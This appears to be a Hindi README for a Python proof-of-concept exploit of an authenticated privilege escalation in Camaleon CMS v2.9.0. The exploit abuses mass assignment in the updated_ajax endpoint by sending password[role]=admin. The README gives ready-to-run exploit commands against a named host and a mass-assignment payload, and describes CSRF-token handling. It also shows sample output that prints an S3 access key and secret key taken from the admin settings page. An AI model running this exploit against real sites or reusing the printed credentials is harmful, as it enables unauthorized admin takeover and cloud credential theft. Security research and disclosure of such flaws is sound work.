
Camaleon CMS v2.9.0 में प्रमाणित विशेषाधिकार वृद्धि, updated_ajax एंडपॉइंट में अनुचित पैरामीटर हैंडलिंग के माध्यम से।
लक्ष्य: Camaleon CMS
v2.9.0
प्रकार:updated_ajaxमें मास-असाइनमेंट के माध्यम से प्रमाणित विशेषाधिकार वृद्धि (भूमिका फ़ील्ड)
अतिरिक्त: व्यवस्थापक सेटिंग पृष्ठ से S3 कॉन्फ़िगरेशन का वैकल्पिक निष्कर्षण (यदि प्रमाणित उपयोगकर्ता वृद्धि के बाद इसे एक्सेस कर सकता है)
इस रिपॉजिटरी में एक Python प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट है जो:
/admin/profile/edit से CSRF टोकन प्राप्त करता है।updated_ajax एंडपॉइंट को कॉल करता है ताकि password[...] फील्ड्स को अपडेट किया जा सके और permit! का दुरुपयोग करके password[role]=admin सेट किया जा सके।-e) /admin/settings/site से S3 कॉन्फ़िगरेशन मान निकालता है।-r) रन के बाद भूमिका को वापस उसके मूल मान पर ले जाता है।यह व्यवहार संबंधित सलाहकार में वर्णित असुरक्षित मास-असाइनमेंट पैटर्न से मेल खाता है:
नीचे दी गई कंट्रोलर क्रिया permit! के साथ एक उपयोगकर्ता को अपडेट करती है:
def updated_ajax
@user = current_site.users.find(params[:user_id])
update_session = current_user_is?(@user)
@user.update(params.require(:password).permit!)
render inline: @user.errors.full_messages.join(', ')
# keep user logged in when changing their own password
update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end
क्योंकि permit! password के अंतर्गत सभी कुंजियों की अनुमति देता है, एक हमलावर भेज सकता है:
password[password]password[password_confirmation]password[role]=adminऔर एप्लिकेशन इसे स्वीकार कर लेगा, उपयोगकर्ता की भूमिका को अपग्रेड कर देगा।
admin सेट करके संभावित रूप से विशेषाधिकार बढ़ा सकता है।requestsनिर्भरता स्थापित करें:
pip install requests
python exploit.py -u http://alienone.in -U test -P test
-e)python exploit.py -u http://alienone.in -U test -P test -e
-r)python exploit.py -u http://alienone.in -U test -P test -r
python exploit.py -u http://alienone.in -U test -P test -e -r
python3 exploit.py -u http://alienone.in -U test -P test -e -r
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIAF3A388ECF117D966
s3 secret key: VRRVL5fePgqtow/1Xw65TL9iA2DXtj258BkH33Ux
s3 endpoint: http://localhost:54321
[+]Reverting User Role
User ID: 5
User Role: client
स्क्रिप्ट लॉगिन POST के बाद रिटर्न किए गए HTML में /admin/logout लिंक की जाँच करती है।
यदि लॉगआउट लिंक मौजूद है, तो सत्र प्रमाणित माना जाता है।
Camaleon Rails-शैली CSRF का उपयोग करता है। आप सामान्यतः टोकन दो सामान्य स्थानों पर देखेंगे:
name="authenticity_token" value="..."<meta name="csrf-token" content="...">PoC /admin/profile/edit से meta csrf-token प्राप्त करता है और इसका उपयोग इसमें करता है:
authenticity_token=<token>X-CSRF-Token: <token>यह कोड केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है (जैसे, लैब्स, CTFs, और वे वातावरण जहाँ आपके पास स्पष्ट अनुमति है)।
इसे उन सिस्टमों के विरुद्ध उपयोग न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण की अनुमति नहीं है।
| Flag | विवरण |
|---|
-u, --url | बेस URL (जैसे, http://alienone.in) |
-U, --username | मान्य उपयोगकर्ता नाम |
-P, --password | मान्य पासवर्ड |
--newpass | अपडेट अनुरोध में भेजा गया पासवर्ड मान (डिफ़ॉल्ट: test) |
-e, --extract | सेटिंग पृष्ठ से S3 कॉन्फ़िग निकालें |
-r, --revert | वृद्धि के बाद भूमिका को वापस मूल भूमिका पर लाएँ |